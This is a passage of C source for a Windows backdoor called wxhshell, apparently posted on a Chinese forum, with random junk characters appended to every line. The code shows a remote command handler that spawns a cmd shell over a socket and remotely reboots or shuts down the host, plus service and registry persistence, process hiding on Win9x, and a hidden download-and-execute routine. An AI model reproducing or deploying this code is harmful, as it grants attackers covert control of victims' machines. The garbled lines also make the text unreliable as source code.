  // 帮助 L-}>;M$Y)  
  case '?': { 5"4O_JQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _jV(Gv'  
    break; I#0WN  
  } 'j84-U{&)  
  // 安装 xjHOrr OQ  
  case 'i': { *B 7+rd  
    if(Install()) KX e/i~AS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Y~6~*8*~  
    else :3k&[W*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k r0PL)$  
    break; _qg)^M6  
    } (?SK< 4!  
  // 卸载 +8e~jf3E1  
  case 'r': { 2c>eMfa  
    if(Uninstall()) ]C |Zs=5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Si,[7um  
    else 6"^Yn.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yc.Vm[!  
    break; PI>PEge!&  
    } $x,?+N  
  // 显示 wxhshell 所在路径 F|K=].  
  case 'p': { S<"M5e  
    char svExeFile[MAX_PATH]; y5_`<lFv  
    strcpy(svExeFile,"\n\r"); v)|[=  
      strcat(svExeFile,ExeFile); E#t;G: +A  
        send(wsh,svExeFile,strlen(svExeFile),0); G}aw{Vbg_  
    break; (0s7<&Iu  
    } yT Pi/=G  
  // 重启 Mq-QWx"P  
  case 'b': { 8X=cGYC#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lWS @<j  
    if(Boot(REBOOT)) %c%0pGn8-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NG-Wn+W@b  
    else { a hi lp$v  
    closesocket(wsh); JzD Mx?  
    ExitThread(0); o:kiIZ]  
    } {9sA'5  
    break; QFOmnbJg  
    } E"l&<U  
  // 关机 y,&UST  
  case 'd': { y:Xs/RS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rj[2XIO  
    if(Boot(SHUTDOWN)) (vm &&a@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cjzhuH/y  
    else { h8;B+#f`  
    closesocket(wsh); Q3MG+@)S  
    ExitThread(0); h&eu}aF  
    } g z!q  
    break; NNZ%jJy?=,  
    } *Dr-{\9  
  // 获取shell :0,q>w  
  case 's': { WF0%zxg]  
    CmdShell(wsh); ~ZeF5  
    closesocket(wsh); s(*L V2fa  
    ExitThread(0); O9OD[VZk  
    break; Wz)O,X^  
  } VXt8y)?a  
  // 退出 ;h[p "  
  case 'x': { C"bG?Mb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }gL:"C"~  
    CloseIt(wsh); :uhU<H<,f  
    break; K_/8MLJQ  
    } rU?sUm,ch  
  // 离开 5/j7C>  
  case 'q': { c$?(zt ;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j^ L"l;m  
    closesocket(wsh); ^VsX9  
    WSACleanup(); i^j1 i  
    exit(1); z-<091,  
    break; W.OcmA>x  
        } &YQ  
  } y<7C!E#b8  
  } O@;;GJ  
z3!j>X_w  
  // 提示信息 4yhan/zA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [fF0Qa-  
} `.3!  
  } qEvHrsw},  
C[f'1O7  
  return; JCoDe.  
} M B]8iy8  
*^j'G^n  
// shell模块句柄 |l\&4/SJ  
int CmdShell(SOCKET sock) nY(>|!  
{ f,QoA  
STARTUPINFO si; rQ~7BlE  
ZeroMemory(&si,sizeof(si)); g)7~vm2/,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N$1ZA)M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~{GbuoH  
PROCESS_INFORMATION ProcessInfo; RTN?[`  
char cmdline[]="cmd"; 0V*B3V<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7!%/vO0m  
  return 0; C:S*ju K  
} <9zzjgzG{c  
YbaaX{7^  
// 自身启动模式 ;Du+C%  
int StartFromService(void) p,_,o3@~  
{ }^|g|xl!  
typedef struct 5`su^  
{ &PY~m<F  
  DWORD ExitStatus; S0,q@LV  
  DWORD PebBaseAddress; j\W"P_dpd  
  DWORD AffinityMask; UQq ,Xq  
  DWORD BasePriority; Z) nB  
  ULONG UniqueProcessId; ZAe'lgS  
  ULONG InheritedFromUniqueProcessId; [ .] x y  
}   PROCESS_BASIC_INFORMATION; Ziclw)   
W5C8$Bqm  
PROCNTQSIP NtQueryInformationProcess; m]C|8b7Y  
BE,XiH;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X`/3X}<$7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "*08?KA  
h"~i&T h  
  HANDLE             hProcess; CC{*'p6  
  PROCESS_BASIC_INFORMATION pbi; A0mj!P9  
GnAG'.t-Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R/!lDv!  
  if(NULL == hInst ) return 0; 'gBns  
N, `q1B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PE!/n6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X#;n Gq)5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zL8Z8eh">  
}sy^ed  
  if (!NtQueryInformationProcess) return 0; Z;=h=  
b/#SkxW#S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U-F\3a;&  
  if(!hProcess) return 0; 5OHg% ^  
E[$"~|7|$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v,T :V#f^  
HgGwV;W  
  CloseHandle(hProcess); =g.R?H8cj5  
;$a+ >  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _#\e5bE=Z  
if(hProcess==NULL) return 0; H1bHQB  
7Shau%2C  
HMODULE hMod; W D/\f$4  
char procName[255]; 8 x=J&d  
unsigned long cbNeeded; b]0]*<~y  
9f(0 qa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .j et0w  
8k( zU>^  
  CloseHandle(hProcess); 5taR[ukM  
} Z/[ "  
if(strstr(procName,"services")) return 1; // 以服务启动 /EIQMZuYp  
0Cg}yyOz  
  return 0; // 注册表启动 saRYd{%+  
} Z Zs@P#]  
1'NJ[ C`  
// 主模块 h6CAd-\x\  
int StartWxhshell(LPSTR lpCmdLine) ~mF^t7n]  
{ kk`K)PESi  
  SOCKET wsl; ._E 6?  
BOOL val=TRUE; TdU'L:<4l  
  int port=0; t)kc`3i<A  
  struct sockaddr_in door; IdS=lN$  
ndmsXls  
  if(wscfg.ws_autoins) Install(); eS`ZC!W   
@Ojbu@A  
port=atoi(lpCmdLine); x/pX?k  
@~z4GTF9i  
if(port<=0) port=wscfg.ws_port; oSf6J:?*e  
3 <A?  
  WSADATA data; &ir|2"HV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SeV`RUO  
bJ"}-s+Dx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +C}s"qrb@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HJi FlL3  
  door.sin_family = AF_INET; ,Y&7` m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %A3ci[$g  
  door.sin_port = htons(port); B,q)<z6<  
3v91yMx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'uW&AD p  
closesocket(wsl); pJ3-f k"i  
return 1; %p(X*mVX  
} ~} 02q5H  
u}">b+{!  
  if(listen(wsl,2) == INVALID_SOCKET) { h]]B @~  
closesocket(wsl); x MFo  
return 1; M?d(-en  
} 0;L.h|R T(  
  Wxhshell(wsl); cGSG}m@B`  
  WSACleanup(); y&W3CW\:  
tZ.hSDH  
return 0; n%ypxY0  
]Pl Ly:(  
} Os/?iGlD*E  
XFv^j SF  
// 以NT服务方式启动 L%<DLe^P`l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e!ql8wbp  
{ 1pz-jo,2'  
DWORD   status = 0; XE8%t=V!c$  
  DWORD   specificError = 0xfffffff; K 8W99:v  
:W9a t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X.V4YmZ- ;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0_N.s5~N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6MpV ,2:>  
  serviceStatus.dwWin32ExitCode     = 0; 3i#'osq  
  serviceStatus.dwServiceSpecificExitCode = 0; hGcu(kAC,  
  serviceStatus.dwCheckPoint       = 0; IN,=v+A  
  serviceStatus.dwWaitHint       = 0; o?^Rw*u0/  
<O.|pJus  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e|q~t {=9S  
  if (hServiceStatusHandle==0) return; gfKv$~  
W![~"7?   
status = GetLastError(); wG73GD38  
  if (status!=NO_ERROR) r^ {Bw1+  
{ O Q$C#:?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q0b*#j  
    serviceStatus.dwCheckPoint       = 0; yY]E~  
    serviceStatus.dwWaitHint       = 0; bq9/ d4  
    serviceStatus.dwWin32ExitCode     = status; !3{;oU%*  
    serviceStatus.dwServiceSpecificExitCode = specificError; q8HnPXV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hVl@7B~  
    return; vOq N=bp  
  } HBZ6Pj  
h"[:$~/UJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7GCxd#DJ  
  serviceStatus.dwCheckPoint       = 0; '2UQN7@d  
  serviceStatus.dwWaitHint       = 0; sLWVgD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <+<Nsza  
} j<R&?*  
)i_:[ l6  
// 处理NT服务事件,比如:启动、停止 =MvB9gx@r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !N!AO(Z  
{ / <%EKu5  
switch(fdwControl) TF80WMt  
{ d%RH]j4  
case SERVICE_CONTROL_STOP: R7KV @n  
  serviceStatus.dwWin32ExitCode = 0; 6Kw?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T^{=cx9x9  
  serviceStatus.dwCheckPoint   = 0; x 0K#-  
  serviceStatus.dwWaitHint     = 0; /`0>U  
  { 6G}4KGQc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t/3HX]B_  
  } 4TYtgP1  
  return; 6!N2B[9  
case SERVICE_CONTROL_PAUSE: sXNb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <;uM/vS i  
  break;  Pa?{}A  
case SERVICE_CONTROL_CONTINUE: _'<FBlIN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~)zxIO!  
  break; 27}7 n  
case SERVICE_CONTROL_INTERROGATE: (;H% r &  
  break; @= =)  
}; <@l j\,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z3=N= xY]  
} z@ `u$D$n  
~|N,{GaL  
// 标准应用程序主函数 b|;h$otC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %|1s9?h7\  
{ RKM5FXX  
IYHNN  
// 获取操作系统版本 vp9wRGd  
OsIsNt=GetOsVer(); >_G'o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lR9uD9Dr  
0c8_&  
  // 从命令行安装 * dk(<g=fM  
  if(strpbrk(lpCmdLine,"iI")) Install(); Oi]B%Uxy=  
HL dHyK/S  
  // 下载执行文件 ~B? Wg!  
if(wscfg.ws_downexe) { MmePhHf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g/\cN(X  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZLdIEBi=  
} Xr'b{&  
,oPxt  
if(!OsIsNt) { Hl'AnxE  
// 如果时win9x,隐藏进程并且设置为注册表启动 shP}T[<  
HideProc(); z.?slYe[  
StartWxhshell(lpCmdLine); g!o2vTt5  
} SU6Aq?`@  
else N9y+P sh  
  if(StartFromService()) {"2CI^!/U.  
  // 以服务方式启动 F?0Q AA  
  StartServiceCtrlDispatcher(DispatchTable); 4S[)5su  
else rkR~%U6V  
  // 普通方式启动 R@/"B?`(f  
  StartWxhshell(lpCmdLine); uPxjW"M+  
%tZrP$DQ  
return 0; !IB}&m  
}
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只看该作者 1 发表于: 2006-10-10
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